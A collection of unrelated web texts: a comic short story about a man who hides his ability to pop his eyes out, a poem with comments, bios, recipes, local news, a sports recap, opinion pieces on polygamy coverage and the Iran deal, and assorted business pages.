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The Talent
by Gabriel Neustadt
The one secret he never told her before they moved in together was that he could pop his eyes out of his head. One day she was reading the Steve Jobs biography on the couch when he walked in carrying a bowl of tortilla chips with his eyes popped out, and she looked up at him and screamed. He had forgotten to suck them back into his face. This was the only thing he had kept secret from her over the course of their relationship, that his eyes could partially leave their sockets and stick out like little nonpareils sandwiched between his cheeks and his eyebrows. He had told her everything about himself except for that.
This revelation shattered her faith in him. "Why would you not tell me you could do that?" she demanded, still shaking.
"I guess I'm kind of sensitive about it," he replied. "I didn't want people to think there's something wrong with me."
"I thought you had been attacked by some animal, or electrocuted, or—"
"No, no. It's just something I do sometimes. Look: I just squeeze my—"
"No! Stop it! Stop it!" she cried, so disturbed was she by the image of his face.
Everything about their relationship had been perfect until that fateful Sunday morning. The banter, the tiffs, the chores, the sex, the honeydoos and the moneydoos and the wouldyadoos and the sureI'lldoos. Everything had been perfect and would have remained perfect—Cliff and Sarah were truly perfect for one another—and yet that holy perfection, that bond of love which surely would have come to matrimony one day, had been corrupted and soured by Cliff's One Big Eyeball Lie. This secret was somehow worse than other kinds of secrets, worse than the history of cocaine abuse, worse than that incident in the Florida motel, worse than pungent flatulence—that true spiritual wrecking ball of committed relationships. It was worse because it meant that Cliff—darling Cliff, responsible Cliff, sensitive and empathetic Cliff—was really a freak who liked to squeeze his eyeballs out of his head. And God, she lived with him! What had she done to herself?
"I can't look at you anymore," she told him in the kitchen one night. "All I can think about is... is... is—"
"I promise I won't do it again—"
"Don't touch me." She swatted him away with her hands and refused to look at him. Instead, she fixed her gaze on the bowl of oranges on the counter behind him and spoke to them, which made it difficult for Cliff to know what was going on. "Don't you understand?" she said to the oranges. "I trusted you. I trusted that the man you said you were really was the man you were."
"I am the man I am," Cliff replied, trying to hide his confusion.
"You're not the person I met six months ago," she continued. "You lied to me about something... vital. Something fundamental."
"Fundamental? It's just something I like to do!"
"Your eyes, Cliff! The windows to the soul—"
"Ah, jeeze—"
"How are those not fundamental? It's like I married a contortionist, or a guy who fucks horses, or..."
"Or a bearded lady."
They did have a knack for finishing each other's sentences, she thought.
"But so what?" Cliff continued philosophically. Was he not the same Cliff he had always been? Was his voice not the same resonant tenor, his handshake no longer soft yet structured, his jokes not adorably cheesy and ill-timed? He listed all the things his male friends had hidden from their wives and girlfriends, nasty, weird things. They got over it, he said. We're mature people. We can deal with this. We can learn to tolerate, accept, even love those who are different from us.
But we couldn't shack up with them, Sarah concluded. Cliff had lied about who he was. He was an Eye Popper, and Sarah did not shack up with those.
They broke up acrimoniously.
* * *
Now Cliff found himself on date after date, trying to come clean as soon as possible so that he might avoid dropping another bombshell. A policy of candor: "So tell me about yourself."
"Well, I have this really cool talent. I mean, my buddies think it's cool. Like I've won a ton of bar bets with it."
"With what?"
But honesty off the bat never seemed to work, either. Several instances in which a credulous and impressionable girl would ask for clarification, a practical demonstration perhaps, ended with lamb chops or mixed greens salad or zinfandel vomited up and sprayed all over his tie. There were fainting spells, retching spells, spasmodic twitching, and silence. Leaning back, arms outstretched and pointing, shouting, "Beast... Beast!" Every possible flavor of negative reaction. One belle, a real doll of a girl, with blue eyes and strawberry blonde hair and sparkling soft cheeks, simply looked at him and stood up and said in a trembling, throaty whisper, "No. No, that will not do," and with a pirouette departed from one of Tulsa's truly great dining establishments.
Cliff decided he would have to keep it a secret. There simply were no desirable women who would tolerate him this way. But his own prohibition on the act exacerbated the urge to do it, and soon he was doing it whenever possible, furtively, at the worst moments. He would practice it in the bathroom. He would run off to do it in the mirror in the middle of meetings, in the middle of restaurants, in the middle of sex.
"Hold on, baby."
"But this was really good—we were doing really good."
"I know but it'll just be a minute."
"What's wrong?"
"... Nothing." Then he would run off naked into the bathroom and pop his eyes out of his face a few times, get a grip on himself, then run back into the bedroom and leap into bed with her and make love.
"Oh god... oh god... OH GOD! ..."
The one person who appreciated his condition was his ophthalmologist, Yuri, who clapped his hands and stomped his feet—"Exquisite! Exquisite!"—and leapt up enraptured at Cliff's bravura performance inside his musty ophthalmological office. It was the levator palpebrae superioris muscles which allowed Cliff to do it, he explained. They were exceptionally strong, Olympic Gold Medal-winning strong. There were perhaps five other specimens on the face of the earth who could do this, said Yuri, and by God this doctor was lucky enough to know one. Cliff liked visiting his ophthalmologist. He and Yuri became friends.
But the solace Cliff took in his twice-yearly checkups was too infrequent. Within the wider culture, he felt trapped and persecuted, victimized by society's conservative norms. How unfair this was, Cliff thought, when America had become so tolerant, tolerant of all varieties of race, creed, sexuality, and religion. Ambitious youngsters across the land were scrambling for diversity points wherever they might be found. Surely there was room in this great big churning cauldron for Cliff and his five fellow pumpers of the levator palpebrae superioris. Surely America, liberal enlightened America, would accept him, or at the very least would the kind people of OSU-Tulsa.
Except America really wasn't that tolerant, Cliff decided, as the Dean of Continuing Education tossed his revoked extension school card in the trash and filled out the paperwork that would forever ban him from that lush and peaceful campus. There was no place for the Ocular Aficionados Club at the student activities fair, nor even for Cliff's assiduously rehearsed performance to the accompaniment of Verdi's Dies Irae at the Fall Talent Showcase. Like the true visionaries and freethinkers of the past, Cliff would have to blaze his own trail.
He knew what he must do: stand up for himself, like all those who had come before him who had once been rejected and reviled. He would raise awareness, demand acceptance. Only then would the world respect Cliff and his unique ability. He decided to pop out his eyes whenever he pleased. Push the boundaries, risk it all, intolerance could go to hell!
At the supermarket, the cashier scanning his Bush's Baked Beans nearly lost her marbles when she discovered her customer staring at her with his eyes bulging out of his face like his intracranial pressure was going out of control. The drive-through at Checkers. The ticket taker at the opera house. The dental hygienist who was too enthusiastic with the ultrasonic wand. The mayor as he shook hands at the Earth Day Parade—that was a good one because the cameras were always on and he had to keep a straight face—"Joe Buckhorn, nice to-aaaaaaaah... meet you!" In short time Cliff became a notorious ocular terrorist, scarring memories from Sapulpa to Owasso, cruising up and down Interstate 44 from Joplin to Wichita Falls in search of new outlets for his misery. His heady radicalism had mutated into a vile extremism. Few trusts and estates attorneys of his mettle had wandered so far down the rabbit hole.
And then he met Clara.
Like Sarah she was beautiful and like Sarah she was tall. She was as smart as Sarah and as kind as Sarah but unlike Sarah, Clara knew how to litigate trusts and estates, and Cliff thought this was interesting. He fell in love. She loved him back.
Cliff knew he couldn't fuck up this one. As soon as his gaze fell upon Clara's countenance he knew that his talent would have to remain secret. And so it did. Cliff never cracked in front of Clara. Not once. His levator palpebrae superioris ached desperately, but he repressed himself. He no longer contracted them in public, and when he felt the twinge, the itch that must be scratched, the inexorable, instinctual pull of his basic animal self, he held out just long enough to find a bathroom. Cliff civilized himself. And Clara never found out.
* * *
Eventually Cliff conceived a child and eventually the child was born, and one day, years later, he discovered that this child, his child, had inherited the gift. One night at the dinner table, young Chadwick, age nine, finished munching his corn on the cob and said to his parents, "Look what I can do." Then he popped out his eyeballs so far that it looked like they might fall into his mashed potatoes. Clara screamed and Cliff's heart swelled with pride before his social graces compelled him to run to his shrieking spouse's aid.
"It's just his levator palpebrae superioris," he explained. "They're exceptionally strong."
"How do you know that?" she sobbed.
"I, uh... I think Wikipedia or something."
"Mommy, want me to do it again?"
But Mommy did not want young Chadwick to do it again, so she sent him to Yuri the ophthalmologist, and that meant that Cliff had to scramble. Urgently he called Yuri and explained his predicament. "Clara must never know it came from me," he implored. "I never told her I could do it." Yuri, who prided himself on his candor, fretted about keeping the secret. It wouldn't be right to withhold that kind of information, he said, especially when it had a genetic etiology. But Cliff browbeat his ophthalmologist savagely, and Yuri relented.
Clara now knew that her son was a freak. She begged him not to do it in public, but young Chadwick was an ass of a boy and lacked all scruples. Soon, birthday parties and snack breaks and free drawing time were filled with the piercing cries of young girls and the atavistic grunts of young boys, writhing and jeering and pointing and gnashing their teeth at this freak of nature who could pop his eyes out of his head like his father before him.
And so one day, Cliff sat with his son and explained why he must no longer do it. But the child did not understand.
"Mrs. Minky always tells us that being different is cool, like Harry Potter."
"Well, yes, that's true for most differences. But some differences just take things a little too far." Society had drawn lines. Some could be crossed. Some could not. Some could only be redrawn after years of organized struggle and pain. But there were also some lines that would never be redrawn, and as much as this hurts, as much as it constrains and torments and humiliates us, we cannot cross them if we wish to live our lives. Do you understand, Chadwick? Do you understand why you must never do this in front of people again? If you do, you will be tormented. You will be lonely. You will be so different from other people that few of the people you want or even love in life will wish to be with you.
With a shudder, the boy began to cry. His father gripped his small, round shoulders, wiped the warm tears from his cheeks.
"But how do you know when it's OK-different or when it's not-OK-different?"
Cliff looked off sadly, feeling his levator palpebrae superioris quiver within him. "I don't know, son," he murmured. "I just don't know."
Gabriel Neustadt is a playwright and screenwriter from Los Angeles. His plays have received staged or workshop productions at the Blank Theatre, Skylight Theatre, Harvard University, Actors' Theatre of Santa Cruz, and the Florida Studio Theatre, among others. He has published one story before, in Spank the Carp.


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The king of the kitchen
has fried himself into a corner.
In the last remaining steps of life
sizzled flesh melts to the floor.
Thursday, March 27, 2008
5 comments:
- Noah The Great said...
Ooh, that last line caught me off guard!
- March 27, 2008 at 11:53 PM
- ozymandiaz said...
- March 28, 2008 at 8:16 AM
- janetleigh said...
This one smokes!
Brian, you're back?! If you are, that's great!
I missed you.
- March 28, 2008 at 8:22 PM
- writerwoman said...
That one leaves me thinking I need to become a wiser person so I don't end up with that sort of fate.
- April 4, 2008 at 12:22 PM
- Fireblossom said...
Hmm, long fry the King. I once wrote a poem called The Queen Of Catalpa Street...perhaps they should meet.
This reminds me of Russel Edson. ("The Wounded Breakfast") A sort of dream-like and ill fated otherworld. And darkly homourous as well.
- April 5, 2008 at 7:19 PM
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subset: commoncrawl


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Proud to be featured in the NYU SPS SHRM Chapter "HR Spotlight"
As my students know from my many horror stories, I worked for way too many horrible bosses earlier in my career. Figuring that there had to be a better way to manage and lead people than through tyranny and abuse, I dove head-first into studying the world of management and leadership, and have since made it my personal mission to do my part to rid the world of bad bosses…thereby "Helping to make the world a better place…one leader at a time."
So, in addition to running a leadership consulting, training, and coaching firm called BigBlueGumball, for the past seven years I've also been an adjunct professor at NYU in the HRMD Master's program where I co-teach with Jeff Schwartzman a popular graduate course entitled "Leadership and Team Building." One of our primary goals is to teach HR professionals how to put the "humanity" back into "Human" Resources; and one of the ways we do this is by providing our students with a variety of classic and cutting edge management and leadership tools, tips, and techniques designed to help them each to maximize their performance, their productivity, and their potential.
As we believe that "The true value of knowledge is not in its accumulation, but in its application," and that "Wisdom is where Knowledge and Experience meet," we try to set our students up for success by showing them how what we do in the classroom translates into the outside world, and encourage them to always look for ways to connect the three corners of the learning triangle between our class content, the external world, and their own lives – past, present, and future.
What makes our approach unique (and, we think, fun!) is our creative methodology called VisuaLeadership®, which is all about leveraging the power of visual imagery, mental models, metaphors, and storytelling to manage and lead ourselves and our people. For example, in one early classroom exercise, when we ask students to call out the first word that comes to mind when they hear the word "leadership," many immediately blurt out, "Vision!" And when we ask them to define what they mean by "vision" in the context of leadership, it tends to be all about a leader having a mental image of the future: a picture, that they see in their "mind's eye" of an idealized future state that is different from -- and better than -- the current reality. And, so, with that description in mind, equipping, empowering, and inspiring our students to turn their own visions into reality lies at the heart of what we do and how we do it.
The French novelist Marcel Proust famously wrote that "The real voyage of discovery consists not in seeking new lands, but in seeing with new eyes." Similarly, our hope is that through our teaching, our students' eyes will be opened to a whole new world of possibilities.
For more of Todd's thoughts on "leadership and learning," please check out his blog column on LinkedIn.
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text: Chris, as a matter of some urgency, please could you get in touch with Rodrigo Matias of PRIMETEC please ? This is with regard to your superb WiSP program and their Prime Sat Controller. If someone reading this could forward my plea to Chris, I would be most grateful. With thanks, Dave. G1OCN.


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'When the enemy shall come in like a flood, the Spirit of the Lord shall lift up a standard against him…." Is 59:19 KJV
There is only one group of people who can restore values in the USA: It is the body of Christ answering their wake-up call. When you get up at 3:45 am to catch a 6 am flight out of your hometown, you can't dilly dally in bed waiting for the second snooze alarm. You have to turn off that clock on your phone and leap out of bed.
If you want to be on that airplane, there is not a moment to lose. As Americans face seemingly overwhelming threats from North Korea, Iran and other groups who want to destroy the fabric of American society, you have the spiritual authority to silence the storm. The time is now to wake up and take your place spiritually. When the enemy shows himself strong, it takes a praying church that knows who they are in Christ to take him down.
When Colossians 1:27 says, "Christ in you, the hope of glory,' we add to that, "help yourself." Christianity is not a spectator sport. If you are going to see victory in this or any situation in your life, you can't depend on education, experience, personality or past works. Your entire source is the Holy Spirit if you really want to be a man or woman of God. Begin taking more time to listen to him; any time of the day or night you can be in the spirit of prayer, walking quietly before God, taking your stand against demonic forces. Millions of people worldwide are diligent and disciplined in their devotion to false gods. Even though these people live in darkness and are spiritually blind, they put many Christians to shame by their devotion and consecration. But only the true and living God answers prayer. And because He is the only One who can help, we come to Him in faith. He is waiting to hear from you today.
The testimonies of women delivered from bondage continue to pour in from the past 45 plus Arise Conferences that have been held over the last 11 years. Women have risen up to leadership in their communities with a passion and a fire to change culture and hearts in their own hometowns. Join with us to educate and renew the minds of shelter women we are bringing to the Maui meeting October 5-7. Our theme this year is "radiant", as in Eph 5:25-28 msg, "'Christ's love makes the church whole. His words evoke her beauty. Everything he does and says is designed to bring the best out of her, dressing her in dazzling white silk, radiant in holiness."
If you would, it can help us bring these women up to victory in their lives, our $9000 educational budget is already down to $7500. Whatever the Lord leads you to do will be a great blessing in their lives and yours.


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Avoiding Spoilers
On many occasions, I find reviews that are so thorough they actually spoil the story. This is one of the aspects we try to catch when we edit our reviews, before posting them. I never imagined I would find an author spoiling their own book on the back cover until it came to my attention recently. Since then, I actually found a couple thrillers that also had spoilers on the back cover synopsis. One of them went even further as the title of each chapter gave out what was actually going to happen in the chapter. That is why I decided to write about this topic.
When we are producing a book it is important to make sure the back cover gives enough information about the story in order to draw a reader in and close the purchase. The chapter names should also have a hook, as many readers will skim through the chapters before deciding to purchase a book. But how much information is too much information?
There is such a fine line on how much is too much (or too little) information that many times we authors sin one way or the other when coming up with the synopsis for the back cover. Depending on the genre, missing that line can be disastrous. So, here are some tips on how to draw the line.
· The first thing to do is make a list of story points that would spoil the story if revealed ahead of time.
· Then write the synopsis of your book.
· Compare your list against the synopsis and take out any spoilers you find from it.
· When choosing names for your chapters, keep in mind that although the title should paint a picture of what it is about, it should never spell out what happens. A short sentence or a couple of words describing the chapter should be enough.
· Have others read the chapter names and synopsis and get their feedback. Ask them what they think the book/chapter is about. If they reveal the main event, then you gave out too much.
If there is anything more difficult than writing a book, it is marketing it. Do not over estimate yourself by thinking you know best. Find counsel with marketers when it comes to the back cover of your book, as well as the front cover. It is the first thing readers will see and advice on how to hook the reader from marketing experts can make all the difference in sales. For more information on how Reader Views helps authors visit us at www.readerviews.com.


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We are here to make the process of parting with yours and your loved ones possessions easier. Today is a great day to find out how we can help.
With an extensive knowledge of Antiques, and Vintage goods coming from years in the retail business we use our appraisal expertise along with the latest research technology to assess accurate values for items. We not only understand the value of the items, but the market and pride ourselves in finding the right balance of maximizing the price of an item with what the market will bear to move the item quickly to realize the profits.
We also utilize the best marketing practices to promote the sale. We have built a solid following which guarantees great turnout at tag sales and outlets to allow us to conduct buyouts for fair prices.
We believe honesty is the best policy in life and in our business. Every sale comes with a complete list of items sold and how much they sold for. While we would love to believe that the world is free from shady characters, unfortunately the most common place for people to scam customers in this business is in what items have sold and for how much. When we sign a contract with a client, we enter whole-heartedly into a partnership in which we believe that if we do better for a client we do better.
Bob & Cathy Hague
Robert Hague
Cari Hague
Our Services »
Schedule a Free Consultation »
Give us a call
(515) 661-2422


text:
Lavender Topped Cake
160g self-raising flour
225g unsalted butter
225g caster sugar
60g ground almonds
1 tsp baking powder
1 tbsp creme fraiche
4 eggs, beaten
Pinch of salt
55g full-fat cream cheese
150g icing sugar
Fine zest 1 lemon
1-2 tsp lavender extract
4 tbsp lemon curd
Lavender to decorate
1 Preheat the oven to 180°C (fan). Grease and line two 20cm round tins.
2 Sift flour, baking powder and salt into a mixing bowl then add the almonds.
3 Cream butter and sugar until fluffy. Slowly add eggs, fold, and add creme fraiche. Spoon equally into the tins.
4 Cook for about 25min, then cool.
5 To make the frosting, stir the cream cheese until smooth. Add icing sugar.
7 Fold cream cheese, lavender extract and zest into butter. Spread frosting and lemon curd on one cake half.
8 Sandwich halves together, dust with icing sugar and top with lavender.
Check out more resipes and get inspired!
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text:
Although I am in Budapest, Hungary, I will show you some beautiful images of and from the famous Charles Bridge in Prague.
I am working on an iPad which I am not fond of for creating posts. On my trip I have become the resident expert on internet and the iPad. Also I have a following of neophytes looking for the best angle to take their photos.
Sorry for those images that may be a bit off in perspective, as I did not bring the professional lenses due to weight restrictions on a sixteen day excursion. When I get home, I will edit the images for a straight horizon line. Internet is rather poor here and selecting photos is a crap shoot. I do love the next image though. I hope you are enjoying my time abroad.


text:
SAPAS Speakers and Panelists
Keynote Speakers
Goodwin Liu
Justice Goodwin Liu is an Associate Justice of the California Supreme Court. He joined the state's highest court from his position as Professor of Law and Associate Dean at the UC Berkeley School of Law.
The son of Taiwanese immigrants, Justice Liu grew up in Sacramento and earned a bachelor's degree in biology in 1991 from Stanford. After obtaining a master's degree in philosophy and physiology at Oxford University on a Rhodes Scholarship, he worked as a senior program officer at the Corporation for National Service and helped launch the AmeriCorps national service program. After graduating from Yale Law School in 1998, he clerked for Judge David Tatel on the U.S. Court of Appeals, D.C. Circuit; served as Special Assistant to the Deputy Secretary of the U.S. Department of Education; and clerked for U.S. Supreme Court Justice Ruth Bader Ginsburg before joining the practice of O'Melveny & Myers.
Justice Liu is a recipient of the Steven S. Goldberg Award for Distinguished Scholarship in Education Law and serves on the American Law Institute Council. He has served on the Board of Trustees of Stanford University, the Board of Directors of the Alliance for Excellent Education, the American Constitution Society, the National Women's Law Center, and the Public Welfare Foundation.
Juju Chang
Juju Chang is a co-anchor of ABC News' "Nightline," and reports regularly for "Good Morning America" and "20/20."
Chang earned one of two Emmy awards covering California wildfires and one of two Gracies for a report on gender equity in the sciences; a Peabody award covering Superstorm Sandy; and a Murrow for the "Nightline" series "Face to Face" with a story about children visiting their fathers in prison. She earned a DuPont as a producer on a "Women's Health" series and a Front Page award for chronicling a transgendered teen's transition. Chang is a former news anchor for "Good Morning America," "World News Now" and "World News This Morning". She began her on-air career as a reporter for KGO-TV in San Francisco and for NewsOne, ABC's affiliate service White House, covering Capitol Hill and the presidential election in Washington, D.C. in 1996-97.
Born in Seoul, South Korea, raised in Northern California, Chang graduated with honors from Stanford University with a BA in political science and communication and was a recipient of the Edwin Cotrell Political Science Prize. She is a member of the Council on Foreign Relations and a founding board member of the Korean American Community Foundation.
Harry Elam, Jr.
Harry J. Elam, Jr. is the Olive H. Palmer Professor in the Humanities, Senior Vice Provost for Education, Vice President for the Arts, and the Freeman-Thornton Vice Provost for Undergraduate Education at Stanford University. Elam is the author of numerous books and in addition to his scholarship, he has been an award-winning professional director for over twenty years. As a decorated scholar and teacher, he has received more than six of Stanford University's highest awards for teaching as well as national distinctions as: the Betty Jean Jones award for Outstanding Teaching from the American Theatre and Drama Society, the Excellence in Editing Award from the Association of Theatre in Higher Education and the Distinguished Scholar Award from the American Society of Theatre Research. An inductee into the prestigious College of Fellows of the American Theatre, in 2014 Elam also received the Association of Theater in Higher Education's Career Achievement Award, the highest distinction given to either a practitioner or scholar in the field of theater studies.
Harry J. Elam, Jr. received his AB from Harvard College in 1978 and his Ph.D. in Dramatic Arts from the University of California Berkeley in 1984.


text:
On January 14, 2019, YMCA Calgary opened its newest YMCA facility in southeast Calgary. Named after Brookfield Residential for its transformational investment in community, wellness and belonging, this new 330,000-square-foot facility in the community of Seton is envisioned to be an integral part in the social, cultural and recreational makeup of this young community.
A City of Calgary-built recreation facility, Brookfield Residential YMCA at Seton will provide opportunities for recreation, leisure and learning through recreational, competitive and family-focused aquatics, fitness and sports facilities, arts learning and performance spaces as well as multipurpose areas, a licensed child care and a full-scale Calgary Public Library.
According to a statement released by Brookfield Residential, the multi-awarded land developer and home builder says it is beyond proud to support YMCA Calgary.
"Best memories come from the best places, which is why Brookfield Residential Properties is beyond proud to support YMCA Calgary as the naming sponsor. Brookfield Residential YMCA at Seton, located in the heart of the vibrant Seton Urban District, will be a YMCA where people of all ages and abilities can come together to play, learn, exercise, relax and build community."
Tours of the facility have already started prior to opening.


text:
It seems as though one is not able to comment on a shared item unless the owner has commented first. Is this intended/desirable? I can understand how this might not be desirable for some people, but a friend just shared a comic that I'd like to comment about and the option doesn't show up.
Yup, as designed. I remember writing out my thoughts in another thread, but essentially in order to comment you have to "own" the comment, which means you have to share it. Otherwise, you can reply to other people sharing it. But it would be confusing if you could comment but it wasn't a share. Just how it is.
I agree that it's fine to not be able to comment on a story that hasn't been shared, but you also can't comment when someone has shared an item without a comment. That doesn't seem desirable; isn't the point of sharing a story with your friends to start a conversation?
The real problem is the UI. I have not a clue as to how to make this possible, on both the writing and reading ends, and still keep the interface as simple as possible.
Could a "reply" or "comment" link be added just like the reply link for a item with comments?
I'm not sure if that's the cleanest solution. But I'll keep this in mind as I work with it.
Thanks for commenting on this. I just launched this feature (and will be blogging it tomorrow morning). It's on the web and will hit iOS and Android in due time. Thanks everybody!


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CLINTON, S.C. (AP) Jeremy Atkinson had a game-high 22 points and D.J. Cunningham converted a late layup to lift UNC Asheville past Presbyterian 77-74 Wednesday night.
Cunningham had a double-double, 18 points and 10 rebounds, and Keith Hornsby added 17 points to help UNC Asheville (12-10, 6-2 Big South Conference) win its fourth-straight game.
Trailing 68-60 with 5:25 remaining, Presbyterian went on a 12-5 run to take a 72-71 lead on Khalid Mutakabbir's free throws with one minute left to play.
After Hornsby answered with a jumper to put UNC Asheville ahead 73-72, Joshua Clyburn's layup gave the Blue Hose a 74-73 lead with 30 seconds to go.
With 11 seconds left to play, Cunningham gave the Bulldogs the lead for good with a layup to make it 75-74. Hornsby added two free throws, and Mutakabbir missed a 3-pointer as time expired.
Mutakabbir scored 21 points for the Blue Hose (5-17, 2-6).


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Safe Toys and the Law
In August 2008, the U.S. Congress passed the Consumer Products Safety Improvement Act (CPSIA), which limits the amount of lead, phthalates, and other chemicals in children's products. Additionally, the CPSIA has made compliance of ASTM standards mandatory, as well as manufacturing identification and tracking labels/tags.
The U.S. Consumer Product Safety Commission (CPSC) is in charge of enforcing these regulations, and their policies concerning what (products), how (requirements), and when (deadlines) have been in a frequent state of revision as they try to best interpret the intentions of the law and balance the concerns of various and vast children's product industries.
How do we ensure safe toys?
Camden Rose wants to assure our customers that all of our children's products as of August 2009, meet, and in most case exceed, these standards. We have tested samples of each item we produce for lead content as well as a numerous other harmful chemicals. As we expected, each product easily passed with levels of lead content far lower or non-existent than the minimum allowed. If requested we can provide the detailed test results of all of our children's products in our catalog.
No phthalates, thank you
Additionally, we can confidently report that NONE of our children's products contain any phthalates, namely PVC (found in soft plastic or vinyl). In sum, we are confident that all of our products for both children and adults, not meet current CPSIA requirements but will also stand up to any future tightening of those requirements.
We believe the CPSIA law will help improve children's safety as well as grow the natural children's products industry. It is important that all of us work toward both protecting the health and safety of all people and improving the integrity of the natural products industry. We are proud to support that effort by providing safe toys for infants, toddlers, and older children that will bring joy to your family without compromising your health.


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Comer to travel to Washington to lobby for Kentucky hemp
Agriculture Commissioner James Comer will travel to Washington on Tuesday to lobby for Kentucky farmers to be allowed to grow industrial hemp for the first time in decades.
"My colleagues and I will make the case that industrial hemp has the potential to create revenue and jobs," Comer said. "Thanks to the efforts of the General Assembly, we also can say that Kentucky is ready to set up a regulatory framework that will enable us to not only revive our hemp industry but do it in the right way."
Comer said Monday that he thinks the state's chances are "pretty good," based on the meetings he's been able to get to discuss the topic.
Comer will be accompanied by former Kentucky state treasurer Jonathan Miller, who is on the Kentucky Industrial Hemp Commission, and joined by state Sen. Paul Hornback, R-Shelbyville, to meet with high-level officials from the White House, the U.S. Departments of Agriculture and Energy and the Environmental Protection Agency, and congressional leaders in the House and Senate.
Comer plans to argue that Kentucky's recently passed licensing program makes it the perfect pilot for growing hemp. But he also will lobby for the federal bill, sponsored by U.S. Rep. Thomas Massie, R-Vanceburg, and U.S. Sen. Rand Paul, R-Bowling Green, that would distinguish hemp from marijuana. U.S. Senate Minority Leader Mitch McConnell, R-Louisville, also has signed on to sponsor the bill.
But changing the law also would allow other states to grow hemp, a crop that is now outlawed along with its drug-producing relative.
Kentucky wants to be first, Comer said.
He does not know when federal officials will give him a response but Comer hopes to know by late November.
"If we want to have the crop in the ground by next year, we need to have a clear indication that they will allow this to happen by late fall. No farmer will plant without a contract to sell, and the producers need to be established here by next spring," Comer said.
He said that several other states have showed increased interest in the crop now that the General Assembly overwhelmingly passed Kentucky's law in March.
"I think a lot of leaders in agriculture were watching to see if we could pull this off, in a Southern state with a lot of conservative voters," Comer said.
Seven of the eight members of Kentucky's congressional delegation — all except U.S. Rep. Hal Rogers, R-Somerset — also have sent a letter to the Drug Enforcement Administration asking for clarification on the interpretation that hemp is marijuana.


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Whenever you try to write code including tags like <head> in webpages, the browser steps in and refuses to process angle brackets. There's actually a simple solution, but being moronic I keep forgetting this: just type "&" next to "lt;" or "gt;" (without quotes), for left and right angle brackets respectively. There.
The opposite? To write the actual code to get <head>, type "&" next to "amp;" and followed by "lt;" or "gt;" (without quotes again) to get the left and right angle brackets, in that order. Hence: &+amp;+lt;+head+&+amp;+gt;, sans the +'s. Voila.


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In a recent conversation discussing the New York Times' glowing hagiography of Dan Savage and his views in favor of adultery, we discussed how former Sen. Rick Santorum had said something years ago to infuriate Savage. The crime that resulted in naming the fecal slime that is sometimes the byproduct of anal sex after Santorum? He argued that the legal reasoning being used in the Lawrence v. Texas (a huge gay rights case) could be used in favor of polygamy and various other private sexual acts. I've long wondered -- and frequently asked about -- what arguments being used in favor of same-sex marriage couldn't also be used in favor of plural marriage. I've not seen this discussion engaged in the press so much as dismissed.
It turns out that we'll get to see the early contours of the argument with a new lawsuit challenging polygamy law.
An article on the lawsuit appears in the New York Times and is a bit of a mess. We're told that Kody Brown, his four wives and 16 children are filing the suit and that they've been made famous from a reality TV show called "Sister Wives."
But we don't know which court they're filing suit in. I'm even confused as to whether it's state or federal court.
There's also some confusion as to whether the suit is a natural extension of Lawrence rights or not. Here's the first claim:
The lawsuit is not demanding that states recognize polygamous marriage. Instead, the lawsuit builds on a 2003 United States Supreme Court decision, Lawrence v. Texas, which struck down state sodomy laws as unconstitutional intrusions on the "intimate conduct" of consenting adults. It will ask the federal courts to tell states that they cannot punish polygamists for their own "intimate conduct" so long as they are not breaking other laws, like those regarding child abuse, incest or seeking multiple marriage licenses.
But then we hear from a number of people claiming that legally speaking polygamy couldn't be more different from same-sex marriage. But we never quite learn why. I honestly don't know if that's because the reporter didn't accurately characterize the arguments of the people claiming "this is so totally different" or if they never articulated what the actual difference is.
We don't learn much of the religion angle, just that the Browns are members of the Apostolic United Brethren Church and that it's an offshoot of the Mormon Church and that the Mormon Church gave up polygamy over 100 years ago.
"We only wish to live our private lives according to our beliefs," Mr. Brown said in a statement provided by his lead attorney, Jonathan Turley, who is a law professor at George Washington University.
Again, though, we don't learn anything about what those beliefs are.
Much of the story is spent worrying about how the case bolsters the arguments of traditional marriage law defenders. They've been claiming that redefining marriage to include same-sex unions may have unintended consequences in marriage law and beyond.
Such arguments, often referred to as the "parade of horribles," are logically flawed, said Jennifer C. Pizer, a professor at the law school at the University of California, Los Angeles, and legal director for the school's Williams Institute, which focuses on sexual orientation law.
The questions surrounding whether same-sex couples should be allowed to marry are significantly different from those involved in criminal prosecution of multiple marriages, Ms. Pizer noted. Same-sex couples are seeking merely to participate in the existing system of family law for married couples, she said, while "you'd have to restructure the family law system in a pretty fundamental way" to recognize polygamy.
Not only are none of the many people who would disagree with the first contention quoted, neither do we learn anything about how the family law system would have to be restructured, much less fundamentally, if polygamy were legalized.
Heck, I'm just even curious why supporters of "marriage equality" would oppose "marriage equality" for the polygamous. It's not even discussed in the piece.
There is a bit of interesting history given:
The Supreme Court supported the power of states to restrict polygamy in an 1879 case, Reynolds v. United States. Professor Turley suggests that the fundamental reasoning of Reynolds, which said polygamy "fetters the people in stationary despotism," is outdated and has been swept away by cases like Lawrence.
Again, I'd like to know more about how Reynolds argued that polygamy was despotic, why it's outdated and how it's been swept away by Lawrence.
The story would have been improved a great deal by speaking with anyone who supports traditional marriage law. Heck, the story would have been improved by letting the parade of "marriage equality" attorneys who oppose polygamy simply make their case.
As it stands, the piece doesn't quite satisfy the need for more information about the role religion plays in this looming lawsuit. Also, for a piece focused on how this polygamy lawsuit in no way justifies the "slippery slope" arguments of traditional marriage defenders, it would be nice to have seen more discussion with them in light of this lawsuit.


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The Side Deal Not Yet Signed
by Avner Golov
Despite aggressively rebutting each other in public over the recent Iran nuclear deal, both President Obama and Prime Minister Netanyahu have clarified in the past month the resilient strength of U.S.-Israel relations. Nevertheless, public debate over the agreement erodes the strategic alliance between the countries, jeopardizing both nations' interests. Washington and Jerusalem are not going to agree wholesale on the Iran issue. However, in order to weather this squall and maintain the alliance, both sides should focus their efforts on an intimate U.S.-Israel dialogue and agreement. Now that the American president has managed to secure enough support in Congress to block any legislative attempt to override him, it is time to change the discussion between the two leaderships.
Netanyahu asserts his responsibility to voice Israeli concerns about the dangers of the Joint Comprehensive Plan of Action (JCPOA) and corollary deals signed between the International Atomic Energy Agency (IAEA) and Iran. The Israeli prime minister should adhere to his responsibility, but instead of purely grandstanding about achieving these objectives, his efforts would be more effective pursuing a private strategic dialogue with the American administration.
In this dialogue, for example, Israel should point out that the nuclear deal does not "cut off every pathway that Iran could take to develop a nuclear weapon" – an objective set by President Obama. Iran will be able to advance its research and development program, creating more advanced centrifuges that shorten the time required to cross the nuclear threshold. It does not guarantee absolute transparency, leaving some "blind spots" that could potentially be exploited for military purposes. It also lacks a feasible and rapid international response mechanism that encourages Iranian compliance.
